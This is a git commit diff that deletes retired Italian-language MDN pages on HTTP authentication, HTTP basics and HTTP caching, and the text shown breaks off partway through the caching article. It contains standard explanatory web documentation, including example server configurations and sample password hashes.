diff options
| author | Ryan Johnson <rjohnson@mozilla.com> | 2021-04-29 16:16:42 -0700 |
|---|---|---|
| committer | GitHub <noreply@github.com> | 2021-04-29 16:16:42 -0700 |
| commit | 95aca4b4d8fa62815d4bd412fff1a364f842814a (patch) | |
| tree | 5e57661720fe9058d5c7db637e764800b50f9060 /files/it/web/http | |
| parent | ee3b1c87e3c8e72ca130943eed260ad642246581 (diff) | |
| download | translated-content-95aca4b4d8fa62815d4bd412fff1a364f842814a.tar.gz translated-content-95aca4b4d8fa62815d4bd412fff1a364f842814a.tar.bz2 translated-content-95aca4b4d8fa62815d4bd412fff1a364f842814a.zip | |
remove retired locales (#699)
Diffstat (limited to 'files/it/web/http')
37 files changed, 0 insertions, 4918 deletions
diff --git a/files/it/web/http/authentication/index.html b/files/it/web/http/authentication/index.html deleted file mode 100644 index 243ef77fa9..0000000000 --- a/files/it/web/http/authentication/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: HTTP authentication -slug: Web/HTTP/Authentication -translation_of: Web/HTTP/Authentication ---- -<div>{{HTTPSidebar}}</div> - -<p class="summary"><span class="seoSummary">HTTP fornisce un framework generico per il controllo degli accessi e l'autenticazione. Questa pagina è un'introduzione al framework HTTP per l'autenticazione, e mostra come limitare l'accesso al tuo server usando lo schema HTTP "Basic".</span></p> - -<h2 id="Il_generico_framework_di_autenticazione_HTTP">Il generico framework di autenticazione HTTP</h2> - -<p>{{RFC("7235")}} definisce il framework di autenticazione HTTP, che può essere usato da un server per {{glossary("challenge")}} una richiesta client, e da un client per fornire informazioni di autenticazione.</p> - -<p>I flussi di challenge e di risposta funzionano in questo modo:</p> - -<ol> - <li>Il server risponde ad un client con una risposta {{HTTPStatus("401")}} (Unauthorized) {{HTTPHeader("WWW-Authenticate")}} </li> - <li>Un client vuole autenticarsi con il server, può quindi farlo includendo un request header {{HTTPHeader("Authorization")}} con le credenziali</li> - <li>Il client di solito consegna una password prompt all'utente e poi emetterà la richiesta includendo il corretto <code>Authorization</code> header.</li> -</ol> - -<p><img alt="A sequence diagram illustrating HTTP messages between a client and a server lifeline." src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;" title="Sequence Diagram of Client-server HTTP Authentication"></p> - -<p>In caso di un'autenticazione "Basic" mostrata come in figura, lo scambio deve avvenire su una connessione HTTPS per essere sicuro.</p> - -<h3 id="Autenticazione_proxy">Autenticazione proxy</h3> - -<p>Lo stesso meccanismo di domanda e risposta può essere utilizzato per l'autentificazione del proxy. Poiché sia l'autenticazione delle risorse che l'autenticazione del proxy possono coesistere, è necessaria una nuova impostazione di headers e codici di stato.<br> - Nel caso dei proxy, il codice della challenge è 407(richiesta di autentificazione del proxy), l'intestazione della risposta di autentificazione del proxy cointiene almeno una challenge applicabile al proxy, e l'intestazione della richiesta dell'autentificazione del proxy è utilizzata per fornire le credenziali al server del proxy.</p> - -<h3 id="Accesso_negato">Accesso negato</h3> - -<p>Se un server(proxy) riceve delle credenziali valide che sono, però, inadeguate per accedere ad una determinata risorsa, il server risponderà con il codice di stato Forbidden 403. A differenza del 401 (non autorizzato) o del 407 (richiesta autentificazione proxy), l'autentificazione è impossibie per questo utente</p> - -<h3 id="Autenticazione_delle_immagini_cross-origin">Autenticazione delle immagini cross-origin</h3> - -<p>Un potenziale buco di sicurezza risolto recentemente dai browser è l'autenticazione delle immagini cross-site. Da Firefox 59 in avanti, le risorse delle immagini provenienti da origini diverse facenti parte di uno stesso documento non sono più in grado di innescare i dialoghi di autenticazione HTTP ({{bug(1423146)}}), impedendo che le credenziali degli utenti siano rubate se i malintenzionati fissero in grado di integrare un'immagine casuale in un una immagine di terze parti.</p> - -<h3 id="Codifica_dei_caratteri_dellautenticazione_HTTP">Codifica dei caratteri dell'autenticazione HTTP</h3> - -<p>I browsers usano la codifica utf-8 per usarname e password.<br> - Firefox un tempo utilizzava ISO-8859-1, ma ora ha cambiato in utf-8 per essere alla pari con gli altri browsers e per evitare potenziali problemi come descritto nel bug 1419658</p> - -<h3 id="Gli_header_WWW-Authenticate_e_Proxy-Authenticate">Gli header WWW-Authenticate e Proxy-Authenticate</h3> - -<p>Le risposte del WWW-Authenticate e del Proxy-Authenticate definiscono l'autentificazione dei metodi che può essere utilizzata per guadagnare accessi ad una risorsa. Devono specificare quale schema di autentificazione è stato usato, in modo che il client che desidera autorizzare sa come fornire le credenziali.<br> - La sintassi per questi header è la seguente:</p> - -<pre class="syntaxbox notranslate">WWW-Authenticate: <type> realm=<realm> -Proxy-Authenticate: <type> realm=<realm> -</pre> - -<p>Qui, <code><type></code>è lo schema di autentificazione ("Basic" è loschema più comune e verrà introdotto sotto). Il realm è usato per descrivere l'area protetta o per indicare l'ambito della protezione. Questo può essere un messaggio del tipo:"Access to the staging site" o cose simili, in modo che l'utente sappia a quale spazio sta cercando di accedere</p> - -<h3 id="Gli_header_Authorization_e_Proxy-Authorization">Gli header Authorization e Proxy-Authorization</h3> - -<p>I request header {{HTTPHeader("Authorization")}} e {{HTTPHeader("Proxy-Authorization")}} contengono le credenziali per autenticare un utente con un server (proxy). Qui, il <code><type></code> dev'essere seguito dalle credenziali, che possono essere codificate o criptate in base a che schema di autenticazione venga usato.</p> - -<pre class="syntaxbox notranslate">Authorization: <type> <credentials> -Proxy-Authorization: <type> <credentials> -</pre> - -<h3 id="Schemi_di_autenticazione">Schemi di autenticazione</h3> - -<p>Il generico framwork di autenticazione HTTP è usato da parecchi schemi di autenticazione. Gli schemi possono differenziare in forza di sicurezza e la loro disponibilità nel software client o server.</p> - -<p>Lo schema di autenticazione più comune è lo schema di autenticazione "Basic", il quale sarà introdotto più in dettaglio al di sotto. IANA tiene una lista di schemi di autenticazione, ma ci sono altri schemi offerti dai servizi host, come ad esempio Amazon AWS. I comuni schemi di autenticazione includono:</p> - -<dl> - <dt><strong>Basic</strong></dt> - <dd>Vedi {{rfc(7617)}}, credenziali codificate in base64. Maggiori informazioni sotto.</dd> - <dt><strong>Bearer</strong></dt> - <dd>Vedi {{rfc(6750)}}, bearer tokens to access OAuth 2.0-protected resources</dd> - <dt><strong>Digest</strong></dt> - <dd>Vedi {{rfc(7616)}}, only md5 hashing is supported in Firefox, see {{bug(472823)}} for SHA encryption support</dd> - <dt><strong>HOBA</strong></dt> - <dd>Vedi {{rfc(7486)}}, Section 3, <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, digital-signature-based</dd> - <dt><strong>Mutual</strong></dt> - <dd>Vedi {{rfc(8120)}}</dd> - <dt><strong>AWS4-HMAC-SHA256</strong></dt> - <dd>Vedi <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs</a></dd> -</dl> - -<h2 id="Schema_di_autenticazione_di_base">Schema di autenticazione di base</h2> - -<p>Lo schema di autenticazione HTTP "Basic" è definito in {{rfc(7617)}}, che trasmette le credenziali come user ID/password, codificate usando base64.</p> - -<h3 id="Sicurezza_dellautenticazione_di_base">Sicurezza dell'autenticazione di base</h3> - -<p>Siccome l'user ID e la password passano sulla rete come testo (è codificato in base64, ma base64 è una codifica reversibile), lo schema di autenticazione di base <strong>non è sicuro</strong>. HTTPS/TLS dovrebbero essere usati con l'autenticazione di base. Senza questi aggiuntivi miglioramenti di sicurezza, l'autenticazione di base non dovrebbe essere usata per proteggere dati sensibili o informazioni preziose.</p> - -<h3 id="Laccesso_ristretto_con_Apache_and_lautenticazione_di_base">L'accesso ristretto con Apache and l'autenticazione di base</h3> - -<p>Per proteggere con password una cartella su un server Apapche, avrai bisogno di un file <code>.htaccess</code> e <code>.htpasswd</code> .</p> - -<p>il file <code>.htaccess</code> solitamente appare così:</p> - -<pre class="notranslate">AuthType Basic -AuthName "Access to the staging site" -AuthUserFile /path/to/.htpasswd -Require valid-user</pre> - -<p>Il file <code>.htaccess</code> fa riferimento al file <code>.htpasswd</code> nel quale ogni riga è formata da username e password i quali sono separati da due punti (<code>:</code>). Non puoi vedere le password vere siccome vengono codificate (usando MD5-based hashing, in questo caso). Osserva che puoi nominare il tuo file <code>.htpasswd</code> diversamente se vuoi, ma ricordati che il file non dovrebbe essere accessibile a nessuno. (Solitamente Apache è configurato per impedire l'accesso ai file <code>.ht*</code>).</p> - -<pre class="notranslate">aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. -user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ -</pre> - -<h3 id="Laccesso_ristretto_con_nginx_e_lautenticazione_di_base">L'accesso ristretto con nginx e l'autenticazione di base</h3> - -<p>Per nginx dovrai specificare un posto che proteggeri e le direttive auth_basic che forniscono il nome all'area protetta dalla password. La direttiva dell'auth_basic_user_file successivamente punterà al file .htpasswd contenente le credenziali dell'utente criptate, come l'esempio Apache sottostante:</p> - -<pre class="notranslate">location /status { - auth_basic "Access to the staging site"; - auth_basic_user_file /etc/apache2/.htpasswd; -}</pre> - -<h3 id="Accesso_usando_le_credenziali_nellURL">Accesso usando le credenziali nell'URL</h3> - -<p>Parecchi client evitano il prompt login per mezzo di un URL codificato contenente lo username e la password in questo modo:</p> - -<pre class="example-bad notranslate">https://username:password@www.example.com/</pre> - -<p><strong>L'uso di questi URL è deprecato</strong>. In Chrome, la parte <code>username:password@</code> dell'URLs è tolta per motivi di sicurezza. In Firefox, è controllata solo se veramente il sito richiede l'autenticazione, e, se no, Firefox avviserà lo user con un prompt "Stai per loggare nel sito "www.esempio.com" con lo username "username", ma il sito non richiede l'autenticazione. Questo potrebbe essere un tentativo di ingannarti."</p> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li>{{HTTPHeader("WWW-Authenticate")}}</li> - <li>{{HTTPHeader("Authorization")}}</li> - <li>{{HTTPHeader("Proxy-Authorization")}}</li> - <li>{{HTTPHeader("Proxy-Authenticate")}}</li> - <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> -</ul> diff --git a/files/it/web/http/basics_of_http/index.html b/files/it/web/http/basics_of_http/index.html deleted file mode 100644 index ec8f4144a0..0000000000 --- a/files/it/web/http/basics_of_http/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Le basi dell'HTTP -slug: Web/HTTP/Basics_of_HTTP -translation_of: Web/HTTP/Basics_of_HTTP -original_slug: Web/HTTP/Basi_HTTP ---- -<div>{{HTTPSidebar}}</div> - -<p>HTTP è un protocollo espandibile che si basa su concetti come le risorse e gli URI (Uniform Resource Identifiers), la semplice struttura del messaggio, e il flusso di comunicazione client-server. Oltre a questi concetti di base, nel corso degli anni sono state sviluppate numerose estensioni che aggiungono funzionalità e semantica aggiornate con nuovi metodi HTTP o intestazioni.</p> - -<h2 id="Articoli">Articoli</h2> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview">Descrizione dell'HTTP</a></dt> - <dd>Descrive cos'è l'HTTP e il suo ruolo nell'architettura web, compresa la sua posizione nella pila dei protocolli.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Evoluzione dell'HTTP</a></dt> - <dd>L'HTTP è stato creato all'inizio degli anni '90 ed è stato ampliato più volte. Questo articolo ripercorre la sua storia e descrive HTTP/0.9, HTTP/1.0, HTTP/1.1, e il moderno HTTP/2, oltre alle novità introdotte nel corso degli anni.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Resources_and_URIs">Risorse e URIs</a></dt> - <dd>Una breve introduzione al concetto di risorse, identificatori e posizioni sul web.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identificare le risorse sul Web</a></dt> - <dd>Descrive come sono referenziate le risorse web e come individuarle.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Data URIs</a></dt> - <dd>Un tipo specifico di URI che incorpora direttamente la risorsa che rappresenta. I data URIs sono molto convenienti, ma hanno qualche pecca.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Resource_URLs">Resource URLs</a> {{Non-standard_Inline}}</dt> - <dd> - <p>I Resource URLs, quelli con il prefisso dello schema delle <code>risorse</code>, sono utilizzati da Firefox e dalle estensioni del browser Firefox per caricare le risorse internamente, ma sono disponibili anche per alcuni siti a cui il browser si connette.</p> - </dd> - <dt>Separare l'identità e la posizione di una risorsa: L'intestazione HTTP Alt-Svc</dt> - <dd>La maggior parte delle volte l'identità e la posizione di una risorsa web sono condivise, questo può cambiare con l'intestazione <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Alt-Svc">Alt-Svc</a>.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a></dt> - <dd>Da HTTP/1.0, possono essere trasmessi diversi tipi di contenuto. Questo articolo spiega come questo è compiuto usando l' {{HTTPHeader("Content-Type")}} header e il MIME standard.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">Choosing between www and non-www URLs</a></dt> - <dd>Questo articolo fornisce indicazioni sul come scegliere se usi un www-prefixed domain o no, insieme alle conseguenze di quella scelta.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Flow_of_an_HTTP_session">Flow of an HTTP session</a></dt> - <dd>Questo articolo fondamentale descrive una tipica sessione HTTP:<br> - Cosa succede dietro le quinte quando fai clic su un collegamento nel tuo browser.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Messages">HTTP Messages</a></dt> - <dd>I messaggi HTTP trasmessi durante la richiesta o risposta hanno una chiara struttura. Questo articolo introduttivo descrive questa struttura, il suo scopo, e le sue possibilità.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Frame and message structure in HTTP_2">Frame and message structure in HTTP/2</a></dt> - <dd>HTTP/2 eincapsula e rappresenta messaggi HTTP/1.x in un frame binario. Questo articolo spiega la struttura del frame, il suo scopo, e i vari modi con il quale può essere scritto sotto forma di codice.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></dt> - <dd>HTTP/1.1 era la prima versione di HTTP per supportare persistent connection and pipelining. Questo articolo spiega entrambi i concetti.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Connection_management_in_HTTP_2">Connection management in HTTP/2</a></dt> - <dd>HTTP/2 completely revisited how connections are created and maintained. This article explains how HTTP frames allow multiplexing and solve the 'head-of-line' blocking problem of former HTTP versions.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Content_negotiation">Content Negotiation</a></dt> - <dd>HTTP introduces a set of headers, starting with <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept">Accept</a></code> as a way for a browser to announce the format, language, or encoding it prefers. This article explains how this advertisement happens, how the server is expected to react, and how it chooses the most adequate response.</dd> -</dl> - -<div id="accelSnackbar"></div> diff --git a/files/it/web/http/caching/index.html b/files/it/web/http/caching/index.html deleted file mode 100644 index 1868f9ff82..0000000000 --- a/files/it/web/http/caching/index.html +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: HTTP caching -slug: Web/HTTP/Caching -translation_of: Web/HTTP/Caching ---- -<div>{{HTTPSidebar}}</div> - -<p class="summary">Le prestazioni di siti web e applicazioni possono essere migliorate drasticamente riutilizzando le risorse già ottenute. Le web caches riducono la latenza e il traffico di rete, diminuendo il tempo necessario per rappresentare una risorsa. Attraverso l'uso dell'HTTP caching, i siti web diventano più responsivi.</p> - -<h2 id="I_diversi_tipi_di_cache">I diversi tipi di cache</h2> - -<p>Il caching è una tecnica che immagazzina una copia di una risorsa data e la restituisce quando richiesta. Quando una web cache ha una risorsa richiesta in memoria, intercetta la richiesta e ritorna la sua copia invece di riscaricarla dal server originale. Così si raggiungono diversi risultati: alleggerisce il carico del server che non deve più servire tutti i client da solo, e migliora le prestazioni stando più vicina al client, ad esempio, ci mette meno tempo a restituire le risorse. Per un sito web, è una componente fondamentale nell’ottenere prestazioni elevate. D’altra parte, deve essere configurato correttamente in quanto non tutte le risorse rimangono identiche per sempre. È importante mettere in cache una risorsa solo finché non cambia.</p> - -<p>Ci sono diversi tipi di cache: queste possono essere raggruppate in due principali categorie: private o condivise. Una cache condivisa è una cache che immagazzina risposte per essere utilizzate da più utenti. Una cache privata è una cache dedicata ad un singolo utente. Questa pagina tratterà per la maggior parte delle browser cache e di quelle del proxy, ma ci sono anche gateway cache, CDN, reverse proxy cache e load balancer che sono impiegati nei server web per maggiore affidabilità, prestazioni e scaling di siti web e applicazioni web.</p> - -<p><img alt="What a cache provide, advantages/disadvantages of shared/private caches." src="https://mdn.mozillademos.org/files/13777/HTTPCachtType.png" style="height: 573px; width: 910px;"></p> - -<h3 id="Cache_private_del_browser">Cache private del browser</h3> - -<p>Una cache privata è dedicata ad un singolo utente. Potresti aver già visto “caching” nelle impostazioni del tuo browser. Una browser cache conserva tutti i documenti scaricati via http dall’utente. Questa cache è usata per rendere disponibili i documenti per la navigazione avanti o indietro, salvare, vedere come risorsa, ecc. senza inviare un'altra richiesta al server. Similmente migliora la ricerca offline di contenuti in cache.</p> - -<h3 id="Cache_condivise">Cache condivise</h3> - -<p>Una cache condivisa è una cache che immagazzina risposte per essere utilizzate da più di un utente. Ad esempio, un ISP o la tua compagnia potrebbero aver impostato un web proxy come parte della sua infrastruttura network locale per servire molti utenti così che risorse popolari vengono riutilizzate più volte, riducendo il traffico di rete e la latenza.</p> - -<h2 id="I_soggetti_del_caching"> I soggetti del caching</h2> - -<p>L'HTTP caching non è obbligatorio, ma è normalmente utile. Le HTTP caches normalmente sono limitate alle risposte a {{HTTPMethod("GET")}} e potrebbero rifiutare altri metodi. La chiave primaria della cache consiste nel metodo richiesto e nell'URI desiderato (spesso viene usato solo l'URI, in quanto solo le richieste <code>GET</code> vengono salvate nella cache).</p> - -<p>Informazioni che spesso vengono salvate nella cache:</p> - -<ul> - <li>Risultati ottenuti da una richiesta riuscita: una risposta {{HTTPStatus(200)}} (OK) ad una richiesta {{HTTPMethod("GET")}} contenente risorse come document HTML, immagini o file.</li> - <li>Reindirizzamenti permanenti: una risposta {{HTTPStatus(301)}} (Moved Permanently).</li> - <li>Risposte di errore: la pagina allegata ad una risposta {{HTTPStatus(404)}} (Not Found).</li> - <li>Risultati incompleti: una risposta {{HTTPStatus(206)}} (Partial Content).</li> - <li>Risposte diverse da {{HTTPMethod("GET")}} se c'è l'equivalente di una chiave.</li> -</ul> - -<p>I dati inseriti possono essere composti da più risposte differenziate da una chiave secondaria se la richiesta è oggetto di scambio di contenuti. Per ulterior informazioni riguardo all'header {{HTTPHeader("Vary")}} leggi <a href="#">below</a>.</p> - -<h2 id="Controllare_la_cache">Controllare la cache</h2> - -<h3 id="Lheader_Cache-Control">L'header <code>Cache-Control</code></h3> - -<p>L'header generico {{HTTPHeader("Cache-Control")}} HTTP/1.1 viene usato per specificare i meccanismi del caching per richieste e risposte. Questo header può essere usato per definire le caching policies attraverso le direttive proposte.</p> - -<h4 id="No_caching">No caching</h4> - -<p>La cache non dovrebbe salvare né le richieste né le risposte. Ogni richiesta viene mandata al server, dovendo quindi riscaricare ogni volta la risposta.</p> - -<pre class="notranslate">Cache-Control: no-store -</pre> - -<h4 id="Cache_but_revalidate">Cache but revalidate</h4> - -<p>La cache invia chiede una validazione da parte del server prima di fornire la sua copia.</p> - -<pre class="notranslate">Cache-Control: no-cache</pre> - -<h4 id="Private_and_public_caches">Private and public caches</h4> - -<p>La direttiva "public" indica che la risposta può essere salvata da qualsiasi cache. Questo può essere utile per salvare pagine con codici di risposta HTTP che normalmente non si potrebbero salvare.</p> - -<p>Dall'altro lato, "private" indica che la risposta è legata ad un solo utente, quindi non sarà salvata in una cache condivisa. In questo caso la risposta potrebbe essere salvata da una cache privata del browser.</p> - -<pre class="notranslate">Cache-Control: private -Cache-Control: public -</pre> - -<h4 id="Expiration">Expiration</h4> - -<p>La direttiva più importante è <code>max-age=<secondi></code>, che indica il tempo massimo (in secondi) in cui la risorsa è considerata fresca ("fresh"). Questa direttiva è relativa al tempo indicato dalla richiesta e sovrascrive l'header {{HTTPHeader("Expires")}} (se impostato). I file che non mutano (come ad esempio immagini, fogli CSS e script JavaScript) sono buoni candidati per essere salvati nella cache</p> - -<p>Per ulteriori dettagli visita la sezione <a href="#Freshness">Freshness</a>.</p> - -<pre class="notranslate">Cache-Control: max-age=31536000</pre> - -<h4 id="Validation">Validation</h4> - -<p>Quando viene usata la direttiva "<code>must-revalidate</code>" la cache deve verificare lo stato della risorsa prima di usarla, evitando le risorse scadute. Per ulteriori dettagli visita la sezione <a href="#Cache_validation">Validation</a>.</p> - -<p>Cache-Control: must-revalidate</p> - -<h3 id="Lheader_Pragma">L'header <code>Pragma</code></h3> - -<p>{{HTTPHeader("Pragma")}} è un header HTTP/1.0. <code>Pragma: no-cache</code> corrisponde a <code>Cache-Control: no-cache</code>, forzando quindi le cache a validare le risorse prima di utilizzarle. <code>Pragma</code> non è incluso nelle risposte HTTP, quindi non può sostituire completamente l'header <code>Cache-Control</code> presente in HTTP/1.1.</p> - -<p>Si dovrebbe utilizzare l'header <code>Pragma</code> solo per retrocompatibilità con le cache in HTTP/1.0, dove l'header <code>Cache-Control</code> di HTTP/1.1 non è presente.</p> - -<h2 id="Freschezza">Freschezza</h2> - -<p>Una volta che una risorsa è memorizzata in cache, potrebbe teoricamente essere servita dalla cache per sempre. Le cache hanno una memoria finita quindi gli oggetti sono periodicamente rimossi dalla memoria. Questo processo si chiama sfratto della cache (cache eviction). D’altra parte, alcune risorse possono essere cambiate sul server quindi la cache andrebbe aggiornata. Dato che l’HTTP è un protocollo client-server, i server non possono contattare le cache e i client quando una risorsa cambia; devono comunicare un tempo di scadenza per la risorsa. Prima di questa scadenza, la risorsa è fresca; dopo la scadenza, la risorsa è datata. Gli algoritmi di sfratto spesso prediligono risorse fresche a quelle datate. Da notare che una risorsa datata non è sfrattata o ignorata; quando la cache riceve una richiesta per una risorsa datata, la inoltra con un If-None-Match per verificare se è di fatto ancora fresca. In questo caso il server ritorna un 304 (Non Modificata) header senza inviare il body della risorsa richiesta, risparmiando banda.</p> - -<p>Qui è un esempio di questo processo con una proxy cache condivisa:</p> - -<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p> - -<p>La durata della freschezza è calcolata secondo diversi header. Se l'header "<code>Cache-Control: max-age=N</code>" è presente la durata sarà pari ad N, altrimenti (come spesso accade) si controlla se è presente l'header {{HTTPHeader("Expires")}}. Se esiste, la durata equivale alla differenza tra il valore dell'header {{HTTPHeader("Date")}} e il valore dell'header {{HTTPHeader("Expires")}}.</p> - -<h3 id="Controllo_euristico_della_freschezza">Controllo euristico della freschezza</h3> - -<p>Se un server centrale non specifica esplicitamente la durata della freschezza (usando ad esempio gli header {{HTTPHeader("Cache-Control")}} o {{HTTPHeader("Expires")}}) potrebbe essere utilizzato un approccio euristico.</p> - -<p>In questo caso si cerca l'header {{HTTPHeader("Last-Modified")}}. Se presente, la freschezza è uguale alla differenza tra il valore di ques'ultimo e il valore di <code>Date</code> divisa per 10:</p> - -<pre class="notranslate">dataDiScadenza = orarioDellaRisposta + durataDellaFreschezza - tempoDiVitaCorrente -</pre> - -<p>dove <code>tempoDiRisposta</code> è l'ora in cui la risposta è stata ricevuta dal browser. Per maggiori informazioni: <a href="https://tools.ietf.org/html/rfc7234#section-4.2.2">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): 4.2.2. Calculating Heuristic Freshness</a>.</p> - -<h3 id="Revved_resources">Revved resources</h3> - -<p>Più si usa una risorsa in cache, più reattive saranno le risposte e le performance di un sito web. Per ottimizzarle, la norma è impostare i tempi di scadenza più in là possibile nel futuro. Questo è possibile con risorse che sono regolarmente aggiornate, o spesso, ma è problematico per risorse che vengono aggiornate raramente. Sono le risorse che beneficerebbero di più dalle cache, eppure questo le rende difficili da aggiornare. È tipico delle risorse tecniche incluse e linkate da ogni pagina web: I file Javascript e CSS cambiano di rado, ma quando succede vuoi che vengano aggiornati rapidamente.</p> - -<p>I web developer hanno inventato una tecnica che Steve Souders chiamò revving. File sporadicamente aggiornati sono nominati in un modo specifico: nel loro URL, solitamente nel nome del file, un numero di revisione (o versione) viene aggiunto. In questo modo ogni nuova revisione di questa risorsa viene considerata come una risorsa che non cambia e può avere un tempo di scadenza molto avanti nel futuro, di solito un anno o più. Per avere le nuove versioni, tutti i link che fanno capo a loro vanno cambiati, questa è la limitazione di questo metodo: complessità aggiuntive vengono solitamente risolti dalle tool chain usate dai web developer. Quando la risorsa che cambia di rado viene modificata, questa induce un cambiamento aggiuntivo a risorse spesso variabili. Quando vengono lette, le nuove versioni della altre vengono anch’esse lette.</p> - -<p>Questa tecnica ha un vantaggio aggiuntivo: aggiornare due risorse in cache nello stesso momento preverrà situazioni in cui la risorsa vecchia viene usata in combinazione con quella nuova dell’altra. Questo è molto importante quando i siti web hanno fogli CSS o script JS che hanno dipendenze reciproche, ad esempio che dipendono l’uno sull’altro perché si riferiscono agli stessi elementi HTML.</p> - -<p><img alt="How the revved cache mechanism works. With minor typo fix to grammar issue: https://github.com/mdn/sprints/issues/2618" src="https://mdn.mozillademos.org/files/17432/HTTPRevved_fix_typo.png" style="height: 897px; width: 787px;"></p> - -<p>La versione di revisione aggiunta a una revved resource non ha bisogno di essere una classica stringa di revisione come 1.1.3, o un numero che aumenta monotonamente. Può essere qualsiasi cosa che impedisca le collisioni, come un hash o una data.</p> - -<h2 id="Validazione_della_cache">Validazione della cache</h2> - -<p>Quando una risorsa presente nella cache scade può essere validata o può essere richiesta nuovamente al server. La validazione può avvenire solo se il server ha fornito un <em>validatore forte </em>(<em>strong validator</em>) o un <em>validatore debole </em>(<em>weak validator</em>).</p> - -<p>La rivalidazione comincia quando l'utente ricarica la pagina, oppure quando la risposta contenuta nella cache inculde l'header "<code>Cache-Control: must-revalidate</code>". Un altro fattore è costituito dalle impostazioni nel pannello <code>Avanzate->Cache</code>, dove è possibile forzare la validazione ogni volta che un documento viene caricato.</p> - -<h3 id="ETags">ETags</h3> - -<p>L'header {{HTTPHeader("ETag")}}, contenuto in una risposta, è un valore <em>opaco per lo user agent </em>(<em>op</em><em>aque-to-the-useragent</em>) che può essere usato come un validatore forte. Questo significa che uno user-agent HTTP, ad esempio un browser, non sa cosa cosa questa stringa rappresenti e non può predirne il valore. Se l'header <code>ETag</code> fosse parte di una risposta contenente una risorsa, il client può inserire {{HTTPHeader("If-None-Match")}} nell'header delle richieste future, così da validare le risorse salvate nella cache.</p> - -<h3 id="Last-Modified">Last-Modified</h3> - -<p>L'header {{HTTPHeader("Last-Modified")}}, contenuto in una risposta, può essere usato come un validatore debole. È considerato debole per via della sua risoluzione (un secondo). Se in una risposta è presente l'header <code>Last-Modified</code> il client può inserire {{HTTPHeader("If-Modified-Since")}} nell'header della richiesta per validare il documento salvato nella cache.</p> - -<p>Quando viene fatta una richiesta di validazione il server può ignorarla e rispondere con {{HTTPStatus(200)}} <code>OK</code>, oppure può ritornare {{HTTPStatus(304)}} <code>Not Modified</code> (senza corpo) per permettere al browser di usare il contenuto della cache. In quest'ultimo caso ci possono essere anche altri header che aggiornano la data di scadenza del documento salvato nella cache.</p> - -<h2 id="Variare_le_risposte">"Variare" le risposte</h2> - -<p>L'header delle risposte HTTP {{HTTPHeader("Vary")}} indica gli header con cui usare una risposta salvata nella cache.</p> - -<p>Quando una cache riceve una richiesta contenente l'header <code>Vary</code> non deve usare una risposta salvata nella cache, a meno che tutti gli header contenuti nel campo <code>Vary</code> corrispondano agli header contenuti nella cache.</p> - -<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;">Questa proprietà viene principalmente usata per salvare nella cache una risorsa non compressa o compressa in vari formati, per inviarla poi agli user agent a seconda delle codifiche che supportano. Per esempio, un server può impostare <code>Vary: Accept-Encoding</code> per assicurarsi che la risorsa sia salvata nella cache secondo le codifiche richieste, come <code>Accept-Encoding: gzip,deflate,sdch</code>.</p> - -<pre class="notranslate">Vary: <code>Accept-Encoding</code> -</pre> - -<div class="note"><strong>Nota:</strong> Usa <code>Vary</code> cautamente—può ridurre drasticamente i vantaggi del caching! Un caching server dovrebbe usare la <a href="#normalization">normalizzazione</a> per rimuovere duplicati e richieste non necessarie. Questo si verifica particolarmente quando si usa <code>Vary</code> con header che possono accettare diversi valori.</div> - -<p>L'header <code>Vary</code> può tornare utile per fornire contenuti diversi a utenti mobili o desktop, o per permettere ai motori di ricerca di ottenere la versione mobile di una pagina (specificando opzionalmente che non c'è <a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>). Questo viene attuato con l'header <code>Vary: User-Agent</code>, dato che il valore dell'header {{HTTPHeader("User-Agent")}} è diverso tra desktop e mobile.</p> - -<pre class="notranslate">Vary: User-Agent -</pre> - -<h3 id="Normalizzazione">Normalizzazione</h3> - -<p>Come anticipato sopra, i caching server utilizzerano le risposte salvate nella cache <em>solo</em> con le richieste i cui header (e valori annessi) corrispondono <em>esattamente </em>alle risposte salvate. Questo significa che per ogni piccola differenza verrà fatta una nuova richiesta al server centrale, che verrà poi salvata nella cache.</p> - -<p>Per esempio, tutte le richieste con i seguenti header verranno richieste al server, per 